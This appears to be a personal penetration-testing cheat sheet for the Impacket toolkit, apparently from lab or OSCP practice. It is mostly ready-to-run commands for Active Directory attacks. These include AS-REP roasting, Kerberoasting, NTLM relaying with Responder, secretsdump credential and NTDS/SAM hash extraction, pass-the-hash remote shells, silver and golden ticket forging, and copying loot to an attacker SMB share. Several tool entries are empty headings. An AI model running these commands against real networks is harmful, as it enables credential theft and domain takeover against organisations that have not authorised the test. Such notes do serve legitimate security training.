Impacket

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.

impacket-addcomputer
impacket-atexec
impacket-dcomexec
impacket-dpapi
impacket-esentutl
impacket-exchanger
impacket-findDelegation
impacket-GetADUsers
impacket-getArch
impacket-Get-GPPPassword
impacket-GetNPUsers
impacket-getPac
impacket-getST
impacket-getTGT
impacket-GetUserSPNs
impacket-goldenPac
impacket-karmaSMB
impacket-keylistattack
impacket-kintercept
impacket-lookupsid
impacket-machine_role
impacket-mimikatz
impacket-mqtt_check
impacket-mssqlclient
impacket-mssqlinstance
impacket-netview
impacket-nmapAnswerMachine
impacket-ntfs-read
impacket-ntlmrelayx
impacket-ping
impacket-ping6
impacket-psexec
impacket-raiseChild
impacket-rbcd
impacket-rdp_check
impacket-reg
impacket-registry-read
impacket-rpcdump
impacket-rpcmap
impacket-sambaPipe
impacket-samrdump
impacket-secretsdump
impacket-services
impacket-smbclient
impacket-smbexec
impacket-smbpasswd
impacket-smbrelayx
impacket-smbserver
impacket-sniff
impacket-sniffer
impacket-split
impacket-ticketConverter
impacket-ticketer
impacket-wmiexec
impacket-wmipersist
impacket-wmiquery

Help

List all commands

impacket- [Tab][Tab]

Variable Examples

IP=x.x.x.x
DC_IP=y.y.y.y
HASH=abc...def
USER=myuser
DOMAIN=example.com
PASS=MyPassword
DOMAIN_SID=S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXX # Use enum4linux

impacket-addcomputer

Adds a computer “ATTACK” to the domain with Administrator password “AttackerPC1!”.

impacket-addcomputer ${DOMAIN}/${USER} -dc-ip $DC_IP -hashes $HASH -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'

impacket-atexec

impacket-dcomexec

Provides an interactive shell on the Windows host similar to wmiexec.py, but using varying DCOM endpoints. Currently supports MMC20.Application, ShellWindows, and ShellBrowserWindow DCOM objects.

impacket-dcomexec -object MMC20 ${DOMAIN}/${USER}:${PASS}@${IP}

impacket-dpapi

impacket-esentutl

impacket-exchanger

impacket-findDelegation

impacket-GetADUsers

Queries target domain for users data.

impacket-GetADUsers -all ${DOMAIN}/${USER}:${PASS} -dc-ip $DC_IP

impacket-getArch

impacket-Get-GPPPassword

Group Policy Preferences passwords finder and decryptor.

impacket-Get-GPPPassword [[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)
impacket-Get-GPPPassword ${DOMAIN}/${USER}@dc01.${DOMAIN}

impacket-GetNPUsers

For AS-REP Roasting. Queries target domain for users with ‘Do not require Kerberos preauthentication’ set and export their TGTs for cracking. Harvest the non-preauth AS_REP responses for a given list of usernames. These responses will be encrypted with the user’s password, which can then be cracked offline.

The “/” after the domain is important! It will not work without it…

impacket-GetNPUsers -no-pass -dc-ip $DC_IP $DOMAIN/ -usersfile users.txt -outputfile hashes.txt

💡 Seen in a demo.

impacket-GetNPUsers -request ${DOMAIN}/ -usersfile reproastable.txt -format hashcat

Request TGTs for all users

GetNPUsers.py contoso.com/emily:password -request
GetNPUsers.py contoso.com/emily

impacket-getPac

impacket-getST

Given a password, hash or aesKey, it will request a Service Ticket and save it as ccache.

impacket-getST -spn cifs/dc01.${DOMAIN} ${DOMAIN}/attack\$:'AttackerPC1!' -impersonate Administrator -dc-ip $DC_IP

impacket-getTGT

Request a TGT and save it as ccache for given a password, hash or aesKey. That we can be injected directory for access the requested service. Use KRB5CCNAME to pass the ccache file for the requested service. See Overpass the Hash/Pass the Key.

impacket-getTGT -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS}
impacket-getTGT -dc-ip $DC_IP -hashes ${HASH} ${DOMAIN}/${USER}
export KRB5CCNAME=${USER}.ccache
impacket-psexec -dc-ip $DC_IP -target-ip $IP -no-pass -k ${DOMAIN}/${USER}@<machine name>.${DOMAIN}

See HackTricks, If error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great):

sudo ntpdate $DC_IP

impacket-GetUserSPNs

impacket-GetUserSPNs -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS} -outputfile SPNs.txt
impacket-GetUserSPNs -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS} -request -outputfile SPNs.txt
impacket-GetUserSPNs -dc-ip $DC_IP -hashes ${HASH} ${DOMAIN}/${USER} -outputfile SPNs.txt

See Kerberoasting.

impacket-GetUserSPNs -request ${DOMAIN}/${USER} > kerberoasting.txt

impacket-goldenPac

impacket-karmaSMB

impacket-keylistattack

impacket-kintercept

impacket-lookupsid

impacket-machine_role

impacket-mimikatz

impacket-mqtt_check

impacket-mssqlclient

impacket-mssqlinstance

impacket-netview

impacket-nmapAnswerMachine

impacket-ntfs-read

impacket-ntlmrelayx

An NTLM relay attack exploits the NTLM challenge-response mechanism. An attacker intercepts legitimate authentication requests and then forwards them to the server. The client who originally sent the request receives the appropriate challenges, but the attacker intercepts the responses and forwards them to the server, which then authenticates the attacker rather than the person or device that made request.

For every connection received, this module will try to relay that connection to specified target(s) system or the original client.

Start a listener

Use Responder.

❗ Do we need to use the mode with response or can we just use the analyze mode. To test.

sudo -E responder -I eth0 --lm

Help

impacket-ntlmrelayx -h

dclist.txt

“all” will try all protocols instead of only smb.

all://dc1.example.com
all://dc2.example.com

-tf: File that contains targets by hostname or full URL, one per line
-w: Watch the target file for changes and update target list automatically (only valid with -tf)

sudo impacket-ntlmrelayx -tf dclist.txt -w --remove-mic 
sudo impacket-ntlmrelayx -tf dclist.txt -w --remove-mic -c "whoami"

impacket-ping

impacket-ping6

impacket-psexec

Execute processes on remote systems.

impacket-psexec -dc-ip $DC_IP ${DOMAIN}/${USER}:${PASS}@${IP}
USER=Administrator
HASH=<LM hash>:<NTLM hash>

impacket-psexec -dc-ip $DC_IP -hashes ${HASH} ${DOMAIN}/${USER}@${IP}

impacket-raiseChild

impacket-rbcd

impacket-rdp_check

impacket-reg

impacket-registry-read

impacket-rpcdump

Dumps the remote RPC enpoints information via epmapper.

Ports: ‘135’, ‘139’, ‘443’, ‘445’, ‘593’

impacket-rpcdump $IP > rpc.txt
impacket-rpcdump -port 135 ${DOMAIN}/${USER}:${PASS}@$IP > rpc.txt

impacket-rpcmap

impacket-sambaPipe

impacket-samrdump

impacket-secretsdump

Performs various techniques to dump secrets from the remote machine without executing any agent there.

impacket-secretsdump ${USER}:${PASS}@$IP -outputfile secretsdump
impacket-secretsdump -just-dc -no-pass ${DC_NAME}\$@${DC_IP} > secretdump.txt
impacket-secretsdump -no-pass -hashes <LMHASH>:<NTHASH> ${DOMAIN}/${USER}@${DC_IP} > secretdump_authenticated.txt

When we have an account with the DCSync rights, we can use Impacket’s secretsdump.py script to Sync the Domain Controller remotely and capture the domain hashes. Run the following command to run the script:

impacket-secretsdump ${DOMAIN}/${USER}:${PASS}@${DC_IP} > secretdump_authenticated.txt

Extract hashes from ntds.dit

  • ntds: location and name of the ntds.dit file
  • system: location and name of the SYSTEM hive
  • hashes lmnhash:nthash: NTLM hash
  • LOCAL: parse files on the local system
  • outputfile: location and name of the output file. Extensions are automatically added based on content extracted
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

Dump registry and read – for older Windows (like Windows XP)

Dump registry on victim, transfer files to Kali and run impacket-secretdump.

reg.exe save hklm\sam sam.save
reg.exe save hklm\security security.save
reg.exe save hklm\system system.save
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL > secretsdump.txt

impacket-services

impacket-smbclient

Do not specify the domain (like example.com\myusername), just the username.

impacket-smbclient $USER@$IP
shares
use <sharename>

💡 Seen in a demo.

impacket-smbclient ${DOMAIN}/${USER}@dc01.${DOMAIN}

impacket-smbexec

Get a semi-interactive shell.

impacket-smbexec -hashes :${HASH} ${DOMAIN}/${USER}@${IP}

impacket-smbpasswd

impacket-smbrelayx

impacket-smbserver

On Kali

sudo impacket-smbserver myshare /home/kali/share

FIX FOR: You can’t connect to the file share because it’s not secure. This share requires the obsolete SMB1 protocol, which is unsafe and could expose your system to attack.

sudo impacket-smbserver -smb2support myshare /home/kali/share

On Windows

dir \\<KALI IP>\myshare
copy 20220530051149_BloodHound.zip \\x.x.x.x\myshare\

impacket-sniff

impacket-sniffer

impacket-split

impacket-ticketConverter

Convert tickets between Linux/Windows format. Convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, and vice versa.

TICKET_KIRBY=someticket.kirbi
TICKET_CCACHE=someticket.ccache
impacket-ticketConverter $TICKET_KIRBY $TICKET_CCACHE
impacket-ticketConverter $TICKET_CCACHE $TICKET_KIRBY

impacket-ticketer

❗ NOT TESTED YET

Creates a Kerberos golden/silver tickets based on user options.

-spn: SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be created

Get SPN

Use impacket-GetUserSPNs.

SPN=example/CIFS:445

Generate silver ticket

impacket-ticketer -spn $SPN
impacket-ticketer -nthash $HASH -domain-sid $DOMAIN_SID -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
# To generate the TGS with NTLM
impacket-ticketer -nthash <ntlm_hash> -domain-sid <domain_sid> -domain $DOMAIN -spn $SPN $USER

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

Generate golden ticket

-hashes :${HASH} ${DOMAIN}/${USER}@${IP}

Execute remote commands with any of the following by using the ticket

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
impacket-psexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-smbexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-wmiexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass

impacket-wmiexec

Executes a semi-interactive shell using Windows Management Instrumentation.

💡 Can be used to upload / download files!

impacket-wmiexec ${USER}:${PASS}@${IP}

Fix for Windows XP: “The version of OLE on the client and server machines does not match.”

impacket-wmiexec -com-version 5.1 ${USER}:${PASS}@${IP}
help
lput /home/kali/share/PowerView.ps1 [destination]
lget proof.txt
put <source file> [destination path]
get <filename>

impacket-wmipersist

impacket-wmiquery

Using tickets with Impacket

In Linux

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
impacket-psexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-smbexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-wmiexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass

In Windows

Inject ticket with Mimikatz

mimikatz.exe # kerberos::ptt <ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec

.\PsExec.exe -accepteula \\<remote_hostname> cmd